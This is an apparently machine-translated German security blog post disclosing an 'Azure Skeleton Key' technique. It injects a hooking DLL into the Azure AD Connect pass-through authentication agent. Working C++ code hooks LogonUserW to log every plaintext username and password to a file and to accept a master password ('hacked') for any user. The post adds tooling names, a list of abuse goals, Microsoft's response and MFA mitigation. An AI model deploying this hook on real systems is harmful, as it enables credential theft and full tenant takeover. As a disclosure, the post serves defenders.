Azure Skeleton Key: Ausnutzen der Pass-Through-Authentifizierung zum Stehlen von Anmeldeinformationen

BEARBEITEN: Der Sicherheitsforscher Adam Chester hatte zuvor über Azure AD Connect für Red Teamers geschrieben und über das Einhaken der Authentifizierungsfunktion gesprochen. Schauen Sie sich hier seinen tollen Artikel an.

Zusammenfassung

Sollte ein Angreifer den Azure Agent–Server einer Organisation kompromittieren – eine Komponente, die zum Synchronisieren von Azure AD mit On–Prem AD erforderlich ist -, kann er eine Hintertür erstellen, durch die er sich als synchronisierter Benutzer anmelden kann. Wir haben einen Proof-of-Concept erstellt, der die Azure-Authentifizierungsfunktion auf 1 manipuliert.) geben Sie uns ein ‚Skeleton Key‘ Passwort, das für alle Benutzer arbeiten, und 2.) dump alle echten Klartext-Benutzernamen und Passwörter in eine Datei.

Pass-Through-Authentifizierung mit Azure AD-Connect

Azure AD-Connect verbindet eine Azure AD-Umgebung mit einer lokalen Domäne und bietet mehrere Authentifizierungsmethoden:

  • Passwort-Hash-Synchronisation – eine Methode, die die lokalen Hashes vor Ort mit der Cloud synchronisiert.
  • Pass-Through-Authentifizierung – Eine Methode, mit der ein „Azure Agent“ lokal installiert wird, der synchronisierte Benutzer aus der Cloud authentifiziert.
  • Verbund – eine Methode, die auf einer AD FS-Infrastruktur basiert.

Unsere Angriffsmethode nutzt den Azure-Agenten aus, der für die Pass-Through-Authentifizierung verwendet wird. Der lokale Agent sammelt und überprüft von Azure AD empfangene Anmeldeinformationen für Konten, die mit lokalen Domänen synchronisiert sind.

Der Authentifizierungsfluss

Azure Pass-Through-Authentifizierungsfluss

  1. Der Benutzer gibt seinen Benutzernamen und sein Kennwort in Azure AD / O365 ein.
  2. Azure AD verschlüsselt die Anmeldeinformationen mit einem öffentlichen Schlüssel und platziert sie in der Agentenwarteschlange – einer dauerhaften Verbindung, die vom lokalen Agenten erstellt wird. Der Agent sammelt dann die Anmeldeinformationen und entschlüsselt sie mit seinem privaten Schlüssel.
  3. Der Agent authentifiziert dann den Benutzer beim lokalen DC mithilfe der API-Funktion LogonUserW.
  4. Der DC überprüft die Anmeldeinformationen und gibt eine Antwort zurück.
  5. Die Antwort des lokalen DC wird an Azure AD zurückgeleitet.
  6. Wenn die Anmeldung des Benutzers erfolgreich ist, wird der Benutzer angemeldet.

Den Agenten missbrauchen

Um den Agenten auszunutzen, benötigen wir Folgendes:

  • Azure AD Connect ist für die Pass-Through-Authentifizierung konfiguriert.
  • Administratorrechte auf einem Server mit installiertem Azure Agent.

Nachdem wir einen Server kompromittiert haben, auf dem ein Azure-Agent ausgeführt wird, können wir den Authentifizierungsfluss manipulieren. Der Prozess, der für die Überprüfung der Anmeldeinformationen verantwortlich ist, wird bequem als AzureADConnectAuthenticationAgentService .exe und es basiert auf der API-Funktion LogonUserW. In der Microsoft-Dokumentation heißt es: „Der Authentifizierungsagent versucht, den Benutzernamen und das Kennwort mithilfe der Win32 LogonUser-API mit dem Parameter dwLogonType, der auf LOGON32_LOGON_NETWORK festgelegt ist, gegen lokales Active Directory zu validieren.

Wenn wir den API-Aufruf mit APIMonitor einbinden (ein Tool, das jeden Windows-API-Aufruf einbinden kann, vorausgesetzt, Sie haben Administratorrechte), können wir uns interessante Dinge im Authentifizierungsprozess ansehen:

 API Monitor

Der Benutzer „noob“ hat sich mit dem Passwort „mypassword“ authentifiziert.

Azure Agent in Gefahr (Ralph Wiggum meme)

Erstellen eines API-Monitors

Nachdem wir nun wissen, wie man auf Passwörter zugreift, wollen wir sehen, ob wir den Prozess automatisieren können.

Es ist geplant, eine DLL in den AzureADConnectAuthenticationAgentService einzufügen.exe und schreiben Sie den Zeiger auf die Funktion LogonUserW mit unserer eigenen Funktion neu.

Mit EasyHook haben wir eine DLL geschrieben, die die LogonUserW-Funktion einhakt und durch eine neue LogonUserW ersetzt:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\shhhh.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword);myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);}

Beachten Sie, dass die Funktion die gleiche Anzahl von Parametern benötigt wie LogonUserW. Wenn die Funktion aufgerufen wird, erstellt sie die Datei „shhhh.txt“ und schreibt die Variablen Benutzername und Passwort darauf. Die Funktion gibt das Ergebnis des echten LogonUserW-Aufrufs mit den ursprünglich angegebenen Parametern zurück.

Injizieren der DLL

Dank InjectAllTheThings und seinem reflektierenden DLL-Modul haben wir unsere DLL in den Prozess geladen und die folgenden Ergebnisse erhalten:

 Klartext-Kennwörter

Jeder synchronisierte Benutzer, der eine Verbindung zu Azure AD herstellt (z. B. Office 365), fügt sein Kennwort unserer Textdatei hinzu.

La Cerise Sur le Gâteau

Unser Passwortsammler benötigt nur ein wenig „Ich weiß nicht was“, um sich in einen Azure-Skelettschlüssel zu verwandeln, der es einem Angreifer ermöglicht, sich (mit einem Faktor) als Benutzer mit einem vorgegebenen Passwort zu authentifizieren.

Für unseren Skelettschlüssel ändern wir den Rückgabewert in der Funktion LogonUserW so, dass wir uns bei Eingabe des Passworts ‚hacked‘ unabhängig vom tatsächlichen Passwort des Benutzers erfolgreich anmelden. LogonUserW ist eine boolesche Funktion, die einen Zeiger auf das Token eines Benutzers empfängt, es mit einem Benutzertoken füllt und bei Erfolg true zurückgibt.

Ein wenig Testen zeigt, dass die Rückgabe eines gefälschten Tokens oder keines Tokens zum Absturz des Prozesses führt, sodass das Programm ein gültiges Token benötigt.

Wo können wir ein Benutzertoken an die Funktion übergeben, ohne eines zu generieren?

Nun, da wir uns bereits im AzureADConnectAuthenticationAgentService .exe-Prozess, können wir seine Benutzer-Token leihen!

Neue Version:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\beep.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword); //get time std::time_t result = std::time(nullptr); myfile << " "; myfile << std::asctime(std::localtime(&result)); myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); string hacked = "hacked"; if(hacked.compare(pass)) { // Log the user in return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken); } else { // Use Skeleton Key, return true OpenProcessToken(GetCurrentProcess(), TOKEN_READ, phToken); return true; }}

Durch den Aufruf von OpenProcessToken füllen wir die Variable phToken mit dem eigenen Token des Prozesses.

Funktioniert wie ein Zauber!

Während sich jeder Benutzer noch mit seinem eigenen Passwort verbinden kann, können wir uns erfolgreich als jeder Benutzer authentifizieren, indem wir das Passwort „gehackt“ verwenden.

Los geht’s …

Zu diesem Zeitpunkt hat der Angreifer die vollständige und vollständige Kontrolle über den Mandanten erlangt und kann sich als beliebiger Benutzer anmelden, einschließlich des globalen Administratorkontos. Dies ist das Endspiel.

Abschließende Gedanken

Die Installation eines Skelettschlüssels auf einem Azure-Agenten kann nützlich sein für:

  • Eskalieren Ihrer Berechtigungen auf den globalen Administrator (wodurch Sie wiederum den Azure-Mandanten steuern können)
  • Zugriff auf die lokale Umgebung der Organisation durch Zurücksetzen eines Domänenadministratorkennworts (vorausgesetzt, das Zurückschreiben von Kennwörtern ist aktiviert)
  • Aufrechterhaltung der Persistenz in einer Organisation
  • Sammeln von Klartext-Kennwörtern

Die Antwort des Microsoft Security Response Center auf unseren Bericht lässt uns glauben, dass kein Patch erstellt wird:

Dieser Bericht scheint keine Schwachstelle in einem Microsoft-Produkt oder -Dienst zu identifizieren, die es einem Angreifer ermöglichen würde, die Integrität, Verfügbarkeit oder Vertraulichkeit eines Microsoft-Angebots zu beeinträchtigen. Bei diesem Problem muss der Angreifer zuerst den Computer kompromittieren, bevor er den Dienst übernehmen kann.

Obwohl ich mit dem Innenleben der Pass-Through-Authentifizierung von Azure nicht vertraut bin, kann ich einige Lösungen vorschlagen, die dazu beitragen können, diese Sicherheitsanfälligkeit zu verringern. Beispielsweise ist es möglich, die verschlüsselten Anmeldeinformationen vom Agenten an einen zentralen Agenten weiterzuleiten, der sich auf dem DC befindet (normalerweise ein gut geschützter Server). Dieser DC-Agent überprüft die Anmeldeinformationen und antwortet mit einer verschlüsselten Antwort, die nur vom Azure-Clouddienst geöffnet werden kann. Ein Angreifer, der die volle Kontrolle über einen DC erlangt hat, hat bereits gewonnen, alle daraus resultierenden Exploits werden von dieser Tatsache überschattet.

Einer unserer Kunden hatte auch eine wirklich interessante Einstellung dazu:

Der Skelettschlüssel könnte ein Problem in Umgebungen sein, in denen sich ein Benutzer ohne MFA bei Azure / O365-Konten anmelden kann, aber die Möglichkeit für den Agenten, jede einzelne Anmelde-ID und jedes einzelne Kennwort im Klartext zu erfassen, während Azure authentifiziert Mit dem lokalen DC ist ein großes Problem. Dies würde dem Angreifer eine Vielzahl gültiger Benutzerkonten zur Verfügung stellen, mit denen er sich als verschiedene Benutzer bei lokalen Ressourcen anmelden kann. Plötzlich hat der Serveradministrator, der keinen Zugriff auf die Datenbanken, andere Geräte und Ressourcen hatte, jetzt genügend Benutzerkonten zur Verfügung, um überall zu navigieren und auf Datenbanken zuzugreifen, die er zuvor nicht hatte. Ja, man könnte argumentieren, dass die Anzeige greifen .dit-Datei würde dies auch tun, aber diese Passwörter sind immer noch gehasht, Sie würden zusätzliche Zeit benötigen, um entweder die Hashes offline zu knacken, oder verwenden Sie einen Pass the Hash type Angriff (von denen viele erkannt werden würden). Diese neue Methode scheint für einen Bedrohungsakteur viel einfacher zu verwenden und für ein IR-Team schwieriger zu erkennen.

Privilegierte Angreifer können diesen Exploit nutzen, um eine Hintertür zu installieren oder Passwörter zu sammeln. Herkömmliche Protokollanalysen können dies möglicherweise nicht erkennen, wenn der Angreifer weiß, wie er seine Spuren verwischen kann.

Die Verwendung von MFA verhindert, dass Angreifer mit einem gefälschten Kennwort eine Verbindung zu Ihrer Azure-Cloud herstellen, obwohl dieser Angriff zum Sammeln von Kennwörtern in MFA-fähigen Umgebungen verwendet werden kann.

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.